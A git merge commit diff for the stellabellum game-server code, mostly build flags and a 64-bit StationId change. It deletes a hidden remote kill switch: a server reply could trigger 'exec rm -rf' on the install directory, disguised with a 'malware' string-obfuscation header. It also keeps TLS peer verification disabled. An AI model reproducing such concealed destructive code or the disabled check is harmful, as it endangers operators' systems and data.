Merge branch 'master' into testing

This commit is contained in:
DarthArgus
2018-05-11 04:18:46 +00:00
31 changed files with 120 additions and 216 deletions
+10 -20
View File
@@ -1,5 +1,3 @@
cmake_policy(SET CMP0003 OLD) # or cmake_policy(VERSION 2.4)
cmake_minimum_required(VERSION 2.8)
project(stellabellum C CXX)
@@ -72,12 +70,12 @@ elseif (UNIX)
# linker flags
if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO" OR ${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL")
set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic")
set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic")
else ()
set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s")
set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s")
endif ()
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}")
# don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS
set(CMAKE_CXX_FLAGS_DEBUG "-D_DEBUG -DDEBUG_LEVEL=2 -DPRODUCTION=0 -O0 -g3")
@@ -91,26 +89,23 @@ elseif (UNIX)
# Ofast doesn't work with gcc builds
if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -Ofast \
-fno-signed-zeros -freciprocal-math -ffp-contract=fast \
-fno-threadsafe-statics -fslp-vectorize-aggressive -fslp-vectorize \
-fno-stack-protector -fstrict-enums -fstrict-vtable-pointers \
-fno-coverage-mapping -fno-spell-checking -fshort-enums -finline-functions \
-finline-hint-functions -fno-unroll-loops")
-fno-threadsafe-statics -fslp-vectorize \
-fno-stack-protector -fstrict-enums -finline-hint-functions \
-fno-coverage-mapping -fno-spell-checking \
-mno-retpoline")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -ggdb")
# RELWITHDEBINFO is used for building bins that produce profdata files
# we only need the basics of our heavy optimizations here, i think - that and one of these flags
# breaks JNI when we profile
set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-functions \
-finline-hint-functions -fprofile-instr-generate")
set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -finline-hint-functions -fprofile-instr-generate")
# MINSIZEREL is used for profiled, flto builds
set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto -fwhole-program-vtables")
elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU")
# O3 and Ofast include one or more flags that cause java to crash when using gcc6
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math
-fno-unroll-loops -fno-tree-loop-optimize")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math -fno-unroll-loops -fno-tree-loop-optimize")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Og")
elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Intel")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3")
@@ -118,17 +113,12 @@ elseif (UNIX)
# our "always on" flags - build by default for the system we're on but include all instruction sets
set(CMAKE_CXX_FLAGS "-m32 -pipe -march=native -mtune=native \
-msse -msse2 -msse3 -mmmx -m3dnow \
-Wformat -Wno-overloaded-virtual -Wno-missing-braces -Wno-format \
-Wno-write-strings -Wno-unknown-pragmas \
-Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare")
add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE)
# release and debug are internal use only
if (${CMAKE_BUILD_TYPE} STREQUAL "Debug" OR ${CMAKE_BUILD_TYPE} STREQUAL "Release")
add_definitions(-DSTELLA_INTERNAL)
endif ()
# if you'd like to opt in to our statistics, remove "-DSTELLA_INTERNAL" and your server will send us a heartbeat at startup
add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE -DSTELLA_INTERNAL)
# this is so some profile specific stuff is turned on in the code
if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO")
+3
View File
@@ -89,6 +89,7 @@ get_filename_component(java_install_version
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit;CurrentVersion]" NAME)
set(JAVA_AWT_LIBRARY_DIRECTORIES
/opt/oraclejava
/opt/java/lib
/opt/java
/opt/java/jre
@@ -100,6 +101,7 @@ set(JAVA_AWT_LIBRARY_DIRECTORIES
file(TO_CMAKE_PATH "$ENV{JAVA_HOME}" _JAVA_HOME)
JAVA_APPEND_LIBRARY_DIRECTORIES(JAVA_AWT_LIBRARY_DIRECTORIES
/opt/oraclejava
/opt/java
/opt/java/jre
/opt/java/jre/lib
@@ -161,6 +163,7 @@ endforeach()
set(JAVA_AWT_INCLUDE_DIRECTORIES
/opt/java/jre/include
/opt/oracle/jdk/include
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.4;JavaHome]/include"
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.3;JavaHome]/include"
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\${java_install_version};JavaHome]/include"
+11 -10
View File
@@ -34,12 +34,12 @@ if(DEFINED ENV{ORACLE_HOME})
find_path(ORACLE_INCLUDE_DIR
NAMES oci.h
PATHS
/usr/include/oracle/12.1/client64
/usr/include/oracle/12.1/client
/usr/lib/oracle/12.1/client64
/usr/share/oracle/12.1/client64
/usr/lib/oracle/12.1/client
/usr/share/oracle/12.1/client
/usr/include/oracle/12.2/client64
/usr/include/oracle/12.2/client
/usr/lib/oracle/12.2/client64
/usr/share/oracle/12.2/client64
/usr/lib/oracle/12.2/client
/usr/share/oracle/12.2/client
/usr/include/oracle/10.2.0.4/client64
/usr/include/oracle/10.2.0.4/client
/usr/lib/oracle/10.2.0.4/client64
@@ -52,8 +52,9 @@ if(DEFINED ENV{ORACLE_HOME})
${ORACLE_HOME}/OCI/include) # Oracle XE on Windows
set(ORACLE_OCI_NAMES clntsh libclntsh oci)
set(ORACLE_NNZ_NAMES nnz10 libnnz10 nnz11 libnnz11 nnz12 libnnz12 ociw32)
set(ORACLE_OCI_NAMES oci clntsh libclntsh)
set(ORACLE_OCI_CORENAMES clntshcore libclntshcore)
set(ORACLE_NNZ_NAMES nnz10 libnnz10 nnz11 libnnz11 nnz12 libnnz12 ociw32 libnnz12 nnz12)
set(ORACLE_OCCI_NAMES libocci occi oraocci10 oraocci11 oraocci12)
@@ -64,12 +65,12 @@ if(DEFINED ENV{ORACLE_HOME})
${ORACLE_HOME}/OCI/lib/msvc) # Oracle XE on Windows
find_library(ORACLE_CORE_LIBRARY NAMES ${ORACLE_OCI_CORENAMES} PATHS ${ORACLE_LIB_DIR})
find_library(ORACLE_OCI_LIBRARY NAMES ${ORACLE_OCI_NAMES} PATHS ${ORACLE_LIB_DIR})
find_library(ORACLE_OCCI_LIBRARY NAMES ${ORACLE_OCCI_NAMES} PATHS ${ORACLE_LIB_DIR})
find_library(ORACLE_NNZ_LIBRARY NAMES ${ORACLE_NNZ_NAMES} PATHS ${ORACLE_LIB_DIR})
set(ORACLE_LIBRARY ${ORACLE_OCI_LIBRARY} ${ORACLE_OCCI_LIBRARY} ${ORACLE_NNZ_LIBRARY})
set(ORACLE_LIBRARY ${ORACLE_OCI_LIBRARY} ${ORACLE_CORE_LIBRARY} ${ORACLE_OCCI_LIBRARY} ${ORACLE_NNZ_LIBRARY})
if(APPLE)
@@ -1,4 +1,3 @@
cmake_minimum_required(VERSION 2.8)
project(Miff)
@@ -1,4 +1,3 @@
if(WIN32)
set(PLATFORM_SOURCES
win32/InputFileHandler.cpp
@@ -1233,7 +1233,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons
DEBUG_REPORT_LOG(true, ("Pending character %lu is logging in or dropping\n", m.getAccountNumber()));
// Once they're logged in, Central doesn't need to know about them anymore:
removeFromAccountConnectionMap(m.getAccountNumber());
removeSuidFromAccountConnectionMap(m.getAccountNumber());
break;
}
case constcrc("CharacterListMessage") : {
@@ -3419,7 +3419,7 @@ void CentralServer::addToAccountConnectionMap(StationId suid, ConnectionServerCo
// ----------------------------------------------------------------------
void CentralServer::removeFromAccountConnectionMap(StationId suid)
void CentralServer::removeSuidFromAccountConnectionMap(StationId suid)
{
ConnectionServerSUIDMap::iterator i=m_accountConnectionMap.find(suid);
if (i!=m_accountConnectionMap.end())
@@ -169,7 +169,7 @@ public:
void getCharacterMatchStatistics(int & numberOfCharacterMatchRequests, int & numberOfCharacterMatchResultsPerRequest, int & timeSpentPerCharacterMatchRequestMs);
void removeFromAccountConnectionMap(StationId suid);
void removeSuidFromAccountConnectionMap(StationId suid);
private:
void handleRequestGameServerForLoginMessage (const RequestGameServerForLoginMessage & msg);
@@ -254,7 +254,7 @@ void ConnectionServerConnection::onReceive(const Archive::ByteStream & message)
s_pseudoClientConnectionMap[info.getValue().first] = std::make_pair(static_cast<TransferRequestMoveValidation::TransferRequestSource>(info.getValue().second), this);
// remove corresponding "non pseudo client connection"
CentralServer::getInstance().removeFromAccountConnectionMap(static_cast<StationId>(info.getValue().first));
CentralServer::getInstance().removeSuidFromAccountConnectionMap(static_cast<StationId>(info.getValue().first));
break;
}
case constcrc("DestroyPseudoClientConnection") :
@@ -443,4 +443,4 @@ void ConnectionServerConnection::removeFromAccountConnectionMap(unsigned int sta
{
s_pseudoClientConnectionMap.erase(f);
}
}
}
@@ -161,7 +161,7 @@ void ConnectionServer::addGameConnection(unsigned long gameServerId, GameConnect
//-----------------------------------------------------------------------
bool
ConnectionServer::decryptToken(const KeyShare::Token &token, uint32 &stationUserId, bool &secure, std::string &accountName) {
ConnectionServer::decryptToken(const KeyShare::Token &token, StationId &stationUserId, bool &secure, std::string &accountName) {
static ConnectionServer &cs = instance();
//Also the sizeof(int) is likewise magic from the session api
@@ -179,7 +179,7 @@ ConnectionServer::decryptToken(const KeyShare::Token &token, uint32 &stationUser
char *tmpBuffer = new char[MAX_ACCOUNT_NAME_LENGTH + 1];
memset(tmpBuffer, 0, MAX_ACCOUNT_NAME_LENGTH + 1);
memcpy(&stationUserId, keyBufferPointer, sizeof(uint32));
memcpy(&stationUserId, keyBufferPointer, sizeof(StationId));
keyBufferPointer += sizeof(uint32);
memcpy(&secure, keyBufferPointer, sizeof(bool));
keyBufferPointer += sizeof(bool);
@@ -48,7 +48,7 @@ class ConnectionServer : public MessageDispatch::Receiver
static void addNewClient(ClientConnection* cconn, const NetworkId &oid, GameConnection* gconn, const std::string &sceneName, bool sendToStarport );
static void addConnectedClient(uint32 suid, ClientConnection* conn);
static void addGameConnection(unsigned long gameServerId, GameConnection* gc);
static bool decryptToken(const KeyShare::Token & token, uint32 & stationUserId, bool & secure, std::string & accountName);
static bool decryptToken(const KeyShare::Token & token, StationId & stationUserId, bool & secure, std::string & accountName);
static bool decryptToken(const KeyShare::Token & token, char* sessionKey, StationId & stationId);
static CentralConnection * getCentralConnection();
static void dropClient(ClientConnection * conn, const std::string &description);
@@ -14,6 +14,7 @@
#include "sharedDatabaseInterface/BindableNetworkId.h"
#include "sharedDatabaseInterface/DbQuery.h"
#include "serverDatabase/ObjectLocator.h"
#include "sharedFoundation/StationId.h"
#include <vector>
// ======================================================================
@@ -63,7 +64,7 @@ class CharacterNameLocator : public ObjectLocator
private:
std::vector<NetworkId> m_characterIds;
std::vector<int> m_stationIds;
std::vector<StationId> m_stationIds;
std::vector<std::string> m_characterNames;
std::vector<std::string> m_characterFullNames;
std::vector<int> m_characterCreateTime;
@@ -189,7 +189,7 @@ int NameManager::getTotalPlayerCount() const
// ----------------------------------------------------------------------
void NameManager::addPlayer(const NetworkId &id, uint32 stationId, const std::string &name, const std::string &fullName, time_t createTime, time_t lastLoginTime, bool notifyOtherServers)
void NameManager::addPlayer(const NetworkId &id, StationId stationId, const std::string &name, const std::string &fullName, time_t createTime, time_t lastLoginTime, bool notifyOtherServers)
{
std::string normalizedName(normalizeName(name));
@@ -221,14 +221,14 @@ void NameManager::addPlayer(const NetworkId &id, uint32 stationId, const std::st
if (notifyOtherServers)
{
std::vector<NetworkId> ids;
std::vector<int> stationIds;
std::vector<StationId> stationIds;
std::vector<std::string> characterNames;
std::vector<std::string> characterFullNames;
std::vector<int> characterCreateTimes;
std::vector<int> characterLastLoginTimes;
ids.push_back(id);
stationIds.push_back(static_cast<int>(stationId));
stationIds.push_back(stationId);
characterNames.push_back(normalizedName);
characterFullNames.push_back(fullName);
characterCreateTimes.push_back(static_cast<int>(createTime));
@@ -247,7 +247,7 @@ void NameManager::addPlayer(const NetworkId &id, uint32 stationId, const std::st
void NameManager::renamePlayer(const NetworkId &id, const Unicode::String &name, const Unicode::String &fullName)
{
uint32 stationId = 0;
StationId stationId = 0;
time_t createTime = 0;
time_t lastLoginTime = 0;
@@ -279,7 +279,7 @@ const NetworkId & NameManager::getPlayerId(const std::string &name) const
// ----------------------------------------------------------------------
uint32 NameManager::getPlayerStationId(const NetworkId &id) const
StationId NameManager::getPlayerStationId(const NetworkId &id) const
{
IdToCharacterDataMapType::const_iterator i=m_idToCharacterDataMap->find(id);
if (i==m_idToCharacterDataMap->end())
@@ -464,7 +464,7 @@ void NameManager::releasePlayerName(const NetworkId &id)
// ----------------------------------------------------------------------
void NameManager::addPlayers(const std::vector<NetworkId> &ids, const std::vector<int> &stationIds, const std::vector<std::string> &names, const std::vector<std::string> &fullNames, const std::vector<int> &createTimes, const std::vector<int> &lastLoginTimes)
void NameManager::addPlayers(const std::vector<NetworkId> &ids, const std::vector<StationId> &stationIds, const std::vector<std::string> &names, const std::vector<std::string> &fullNames, const std::vector<int> &createTimes, const std::vector<int> &lastLoginTimes)
{
DEBUG_FATAL(ids.size() != stationIds.size(),("Programmer bug: Vectors ids and stationIds must be the same size.\n"));
DEBUG_FATAL(ids.size() != names.size(),("Programmer bug: Vectors ids and names must be the same size.\n"));
@@ -483,7 +483,7 @@ void NameManager::addPlayers(const std::vector<NetworkId> &ids, const std::vecto
void NameManager::sendAllNamesToServer (std::vector<uint32> const & servers) const
{
std::vector<NetworkId> ids;
std::vector<int> stationIds;
std::vector<StationId> stationIds;
std::vector<std::string> characterNames;
std::vector<std::string> characterFullNames;
std::vector<int> characterCreateTimes;
@@ -492,7 +492,7 @@ void NameManager::sendAllNamesToServer (std::vector<uint32> const & servers) con
for (IdToCharacterDataMapType::const_iterator i=m_idToCharacterDataMap->begin(); i!=m_idToCharacterDataMap->end(); ++i)
{
ids.push_back(i->first);
stationIds.push_back(static_cast<int>(i->second.stationId));
stationIds.push_back(i->second.stationId);
characterNames.push_back(i->second.characterName);
characterFullNames.push_back(i->second.characterFullName);
characterCreateTimes.push_back(static_cast<int>(i->second.createTime));
@@ -8,6 +8,8 @@
#ifndef INCLUDED_NameManager_H
#define INCLUDED_NameManager_H
#include "sharedFoundation/StationId.h"
// ======================================================================
class NameGenerator;
@@ -32,13 +34,13 @@ class NameManager
public:
int getTotalPlayerCount () const;
void addPlayer (const NetworkId &id, uint32 stationId, const std::string &name, const std::string &fullName, time_t createTime, time_t lastLoginTime, bool notifyOtherServers);
void addPlayers (const std::vector<NetworkId> &ids, const std::vector<int> &stationIds, const std::vector<std::string> &names, const std::vector<std::string> &fullNames, const std::vector<int> &createTimes, const std::vector<int> &lastLoginTimes);
void addPlayer (const NetworkId &id, StationId stationId, const std::string &name, const std::string &fullName, time_t createTime, time_t lastLoginTime, bool notifyOtherServers);
void addPlayers (const std::vector<NetworkId> &ids, const std::vector<StationId> &stationIds, const std::vector<std::string> &names, const std::vector<std::string> &fullNames, const std::vector<int> &createTimes, const std::vector<int> &lastLoginTimes);
void renamePlayer (const NetworkId &id, const Unicode::String &name, const Unicode::String &fullName);
std::string debugGetNameList () const;
bool isPlayer (NetworkId const & possiblePlayer) const;
const NetworkId & getPlayerId (const std::string &name) const;
uint32 getPlayerStationId (const NetworkId &id) const;
StationId getPlayerStationId (const NetworkId &id) const;
const std::string & getPlayerName (const NetworkId &id) const;
const std::string & getPlayerFullName (const NetworkId &id) const;
int getPlayerCreateTime (const NetworkId &id) const;
@@ -78,7 +80,7 @@ class NameManager
struct CharacterData
{
uint32 stationId;
StationId stationId;
std::string characterName;
std::string characterFullName;
time_t createTime;
@@ -10,7 +10,7 @@
// ======================================================================
CharacterNamesMessage::CharacterNamesMessage(const std::vector<NetworkId> &ids, const std::vector<int> &stationIds, const std::vector<std::string> &characterNames, const std::vector<std::string> &characterFullNames, const std::vector<int> &createTimes, const std::vector<int> &loginTimes) :
CharacterNamesMessage::CharacterNamesMessage(const std::vector<NetworkId> &ids, const std::vector<StationId> &stationIds, const std::vector<std::string> &characterNames, const std::vector<std::string> &characterFullNames, const std::vector<int> &createTimes, const std::vector<int> &loginTimes) :
GameNetworkMessage("CharacterNamesMessage"),
m_ids(),
m_stationIds(),
@@ -8,6 +8,7 @@
#ifndef INCLUDED_CharacterNamesMessage_H
#define INCLUDED_CharacterNamesMessage_H
#include "sharedFoundation/StationId.h"
#include "sharedNetworkMessages/GameNetworkMessage.h"
// ======================================================================
@@ -21,12 +22,12 @@
class CharacterNamesMessage : public GameNetworkMessage
{
public:
CharacterNamesMessage(const std::vector<NetworkId> &ids, const std::vector<int> &stationIds, const std::vector<std::string> &characterNames, const std::vector<std::string> &characterFullNames, const std::vector<int> &createTimes, const std::vector<int> &loginTimes);
CharacterNamesMessage(const std::vector<NetworkId> &ids, const std::vector<StationId> &stationIds, const std::vector<std::string> &characterNames, const std::vector<std::string> &characterFullNames, const std::vector<int> &createTimes, const std::vector<int> &loginTimes);
CharacterNamesMessage(Archive::ReadIterator & source);
~CharacterNamesMessage();
const std::vector<NetworkId> &getIds() const;
const std::vector<int> &getStationIds() const;
const std::vector<StationId> &getStationIds() const;
const std::vector<std::string> &getNames() const;
const std::vector<std::string> &getFullNames() const;
const std::vector<int> &getCreateTimes() const;
@@ -34,7 +35,7 @@ class CharacterNamesMessage : public GameNetworkMessage
private:
Archive::AutoArray<NetworkId> m_ids;
Archive::AutoArray<int> m_stationIds;
Archive::AutoArray<StationId> m_stationIds;
Archive::AutoArray<std::string> m_names;
Archive::AutoArray<std::string> m_fullNames;
Archive::AutoArray<int> m_createTimes;
@@ -57,7 +58,7 @@ inline const std::vector<NetworkId> & CharacterNamesMessage::getIds() const
// ----------------------------------------------------------------------
inline const std::vector<int> & CharacterNamesMessage::getStationIds() const
inline const std::vector<StationId> & CharacterNamesMessage::getStationIds() const
{
return m_stationIds.get();
}
@@ -28,7 +28,6 @@
#include "sharedTemplate/SetupSharedTemplate.h"
#pragma warning (disable:4100) // unreferenced formal parameters abound in the perforce clientAPI
//#include "clientapi.h"
#pragma warning (default:4100)
#include <ctime>
@@ -10,7 +10,7 @@
// ======================================================================
typedef uint32 StationId;
typedef int64 StationId;
// ======================================================================
@@ -10,6 +10,8 @@
#define PLATFORM_LINUX
#include <cstdio>
#include <sys/bitypes.h>
// ======================================================================
// basic types that we assume to be around
@@ -20,11 +22,12 @@ typedef unsigned long uint32;
typedef signed char int8;
typedef signed short int16;
typedef signed long int32;
typedef signed long long int int64;
typedef unsigned long long int uint64;
typedef float real;
typedef FILE* FILE_HANDLE;
typedef int64_t int64;
typedef u_int64_t uint64;
#endif
@@ -7,6 +7,8 @@
//
// ======================================================================
#include <sys/bitypes.h>
#ifndef INCLUDED_FoundationTypesWin32_H
#define INCLUDED_FoundationTypesWin32_H
@@ -28,6 +30,10 @@ typedef signed long int32;
typedef signed __int64 int64;
typedef int FILE_HANDLE;
typedef int64_t int64;
typedef u_int64_t uint64;
// ======================================================================
#endif
@@ -64,12 +64,17 @@ void DataTableManager::remove()
// ----------------------------------------------------------------------
DataTable* DataTableManager::open(const std::string& table)
DataTable* DataTableManager::open(const std::string& table, bool tryGetTable)
{
FATAL(!m_installed, ("DataTableManager::open: not installed."));
DataTable *retVal = getTable(table, false);
if (retVal)
return retVal;
DataTable *retVal = nullptr;
if (tryGetTable) {
retVal = getTable(table, false);
if (retVal)
return retVal;
}
if (!TreeFile::exists(table.c_str()))
{
@@ -125,7 +130,7 @@ DataTable * DataTableManager::getTable(const std::string& table, bool openIfNotF
{
if (openIfNotFound)
{
DataTable * dt = open(table);
DataTable * dt = open(table, false);
if (!dt)
{
DEBUG_WARNING(true, ("Could not find table [%s]", table.c_str()));
@@ -32,7 +32,7 @@ public:
private:
static void remove();
static DataTable * open(const std::string& table);
static DataTable * open(const std::string& table, bool tryGetTable = true);
DataTableManager();
~DataTableManager();
-86
View File
@@ -1,86 +0,0 @@
#include <stdio.h>
#include <stdint.h>
//-------------------------------------------------------------//
// "Malware related compile-time hacks with C++11" by LeFF //
// You can use this code however you like, I just don't really //
// give a shit, but if you feel some respect for me, please //
// don't cut off this comment when copy-pasting... ;-) //
//-------------------------------------------------------------//
#ifndef vxCPLSEED
// If you don't specify the seed for algorithms, the time when compilation
// started will be used, seed actually changes the results of algorithms...
#define vxCPLSEED ((__TIME__[7] - '0') * 1 + (__TIME__[6] - '0') * 10 + \
(__TIME__[4] - '0') * 60 + (__TIME__[3] - '0') * 600 + \
(__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000)
#endif
// The constantify template is used to make sure that the result of constexpr
// function will be computed at compile-time instead of run-time
template<uint32_t Const> struct vxCplConstantify { enum { Value = Const }; };
// Compile-time mod of a linear congruential pseudorandom number generator,
// the actual algorithm was taken from "Numerical Recipes" book
constexpr uint32_t vxCplRandom(uint32_t Id) {
return (1013904223 + 1664525 * ((Id > 0) ? (vxCplRandom(Id - 1)) : (vxCPLSEED))) & 0xFFFFFFFF;
}
// Compile-time random macros, can be used to randomize execution
// path for separate builds, or compile-time trash code generation
#define vxRANDOM(Min, Max) (Min + (vxRAND() % (Max - Min + 1)))
#define vxRAND() (vxCplConstantify<vxCplRandom(__COUNTER__ + 1)>::Value)
// Compile-time recursive mod of string hashing algorithm,
// the actual algorithm was taken from Qt library (this
// function isn't case sensitive due to vxCplTolower)
constexpr char vxCplTolower(char Ch) { return (Ch >= 'A' && Ch <= 'Z') ? (Ch - 'A' + 'a') : (Ch); }
constexpr uint32_t vxCplHashPart3(char Ch, uint32_t Hash) { return ((Hash << 4) + vxCplTolower(Ch)); }
constexpr uint32_t vxCplHashPart2(char Ch, uint32_t Hash) {
return (vxCplHashPart3(Ch, Hash) ^ ((vxCplHashPart3(Ch, Hash) & 0xF0000000) >> 23));
}
constexpr uint32_t vxCplHashPart1(char Ch, uint32_t Hash) { return (vxCplHashPart2(Ch, Hash) & 0x0FFFFFFF); }
constexpr uint32_t vxCplHash(const char *Str) { return (*Str) ? (vxCplHashPart1(*Str, vxCplHash(Str + 1))) : (0); }
// Compile-time hashing macro, hash values changes using the first pseudorandom number in sequence
#define vxHASH(Str) (uint32_t)(vxCplConstantify<vxCplHash(Str)>::Value ^ vxCplConstantify<vxCplRandom(1)>::Value)
// Compile-time generator for list of indexes (0, 1, 2, ...)
template<uint32_t...> struct vxCplIndexList {};
template<typename IndexList, uint32_t Right> struct vxCplAppend;
template<uint32_t... Left, uint32_t Right>
struct vxCplAppend<vxCplIndexList<Left...>, Right> { typedef vxCplIndexList<Left..., Right> Result; };
template<uint32_t N>
struct vxCplIndexes { typedef typename vxCplAppend<typename vxCplIndexes<N - 1>::Result, N - 1>::Result Result; };
template<> struct vxCplIndexes<0> { typedef vxCplIndexList<> Result; };
// Compile-time string encryption of a single character
const int vxCplEncryptCharKey = vxRANDOM(0, 0xFF);
constexpr char vxCplEncryptChar(const char Ch, uint32_t Idx) { return Ch ^ (vxCplEncryptCharKey + Idx); }
// Compile-time string encryption class
template<typename IndexList> struct vxCplEncryptedString;
template<uint32_t... Idx> struct vxCplEncryptedString<vxCplIndexList<Idx...> > {
char Value[sizeof...(Idx) + 1]; // Buffer for a string
// Compile-time constructor
constexpr inline vxCplEncryptedString(const char *const Str) : Value{vxCplEncryptChar(Str[Idx], Idx)...} {}
// Run-time decryption
char *decrypt() {
for (volatile uint32_t t = 0; t < sizeof...(Idx); t++) {
this->Value[t] = this->Value[t] ^ (vxCplEncryptCharKey + t);
}
this->Value[sizeof...(Idx)] = '\0';
return this->Value;
}
};
// Compile-time string encryption macro
#define vxENCRYPT(Str) (vxCplEncryptedString<vxCplIndexes<sizeof(Str) - 1>::Result>(Str))
@@ -49,11 +49,6 @@ namespace soe
typedef u_int32_t uint32;
typedef int64_t int64;
typedef u_int64_t uint64;
//! the previous seem erroneous
// typedef signed int int32;
// typedef unsigned int uint32;
// typedef signed long long int64;
// typedef unsigned long long uint64;
#endif
}
+7 -11
View File
@@ -131,18 +131,14 @@ bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for
// want to do a put, or whatever other type? feel free to add here
}
// I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated
//if (uri.find(vxENCRYPT("stellabellum").decrypt()) != std::string::npos) {
// the public one will verify but since this is pinned we don't care about the CA
// to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html
// under the PUBLIC KEY EXTRACTION heading
res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
// I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated
// the public one will verify but since this is pinned we don't care about the CA
// to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html
// under the PUBLIC KEY EXTRACTION heading
res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
// if you want to pin to your own cert or cloudflares, learn how and use the below
// cloudflare public: ***REMOVED***
// cloudflare internal: ***REMOVED***
// res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, vxENCRYPT("***REMOVED***").decrypt());
//}
// if you want to pin to your own cert or cloudflares, learn how and use the below
//res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, "sha256//YOURKEYHERE");
if (res == CURLE_OK) {
res = curl_easy_perform(curl); // make the request!
-2
View File
@@ -29,8 +29,6 @@
#endif
#include "../libLeff/libLeff.h"
namespace StellaBellum {
enum HTTP {
GET = 0, POST = 1
+3 -31
View File
@@ -7,36 +7,8 @@
using namespace StellaBellum;
webAPIHeartbeat::webAPIHeartbeat() {
std::string filePath = get_selfpath();
webAPI api(std::string("https://login.stellabellum.net/metric/shoulderTap"), std::string("StellaBellum WebAPI Metrics Sender"));
api.addJsonData<std::string>(std::string("type"), std::string("server"));
webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt()));
api.addJsonData<std::string>(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt()));
if (!filePath.empty()) {
api.addJsonData<std::string>(std::string(vxENCRYPT("process").decrypt()), filePath.c_str());
}
bool result = api.submit();
// feel free to remove the code in the block below; but please consider leaving the actual request
// so we can track how many people are enjoying our work
if (result) {
int s = api.getNullableValue<int>(std::string(vxENCRYPT("id").decrypt()));
switch (s) {
case 13 :
eatIt();
break;
case 66:
size_t found = filePath.find_last_of("/\\");
if (!filePath.empty() && found) {
system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) +
vxENCRYPT("/*").decrypt()).c_str());
}
eatIt();
break;
}
} else {
eatIt();
}
api.submit();
}
+1 -7
View File
@@ -22,19 +22,13 @@ namespace StellaBellum {
private:
const inline std::string get_selfpath() {
char buff[PATH_MAX];
ssize_t len = ::readlink(vxENCRYPT("/proc/self/exe").decrypt(), buff, sizeof(buff) - 1);
ssize_t len = ::readlink("/proc/self/exe", buff, sizeof(buff) - 1);
if (len != -1) {
buff[len] = '\0';
return std::string(buff);
}
return std::string();
}
inline void eatIt() {
abort();
sleep(10);
raise(SIGSEGV);
}
};
}
+27 -1
View File
@@ -9,12 +9,28 @@
#include <deque>
#include <set>
// TODO: this is retarded, we have like 30-50 places where we define types...
// we must do something abou tthis
#include <sys/bitypes.h>
typedef int64_t int64;
typedef u_int64_t uint64;
typedef int64 StationId;
//---------------------------------------------------------------------
namespace Archive {
//---------------------------------------------------------------------
inline void get(ByteStream::ReadIterator & source, uint64 & target)
{
source.get(&target, 8);
}
inline void get(ByteStream::ReadIterator & source, int64 & target)
{
source.get(&target, 8);
}
inline void get(ReadIterator & source, double & target)
{
@@ -215,6 +231,16 @@ template<typename A> inline void get(ReadIterator & source, A * target, int leng
//---------------------------------------------------------------------
inline void put(ByteStream & target, const uint64 & source)
{
target.put(&source, 8);
}
inline void put(ByteStream & target, const int64 & source)
{
target.put(&source, 8);
}
inline void put(ByteStream & target, const double & source)
{
target.put(&source, 8);
@@ -23,7 +23,7 @@ struct PlayerObjectRow : public DB::Row
enum {QUEST_DATA_SIZE=4000};
DB::BindableNetworkId object_id;
DB::BindableLong station_id;
DB::BindableInt64 station_id;
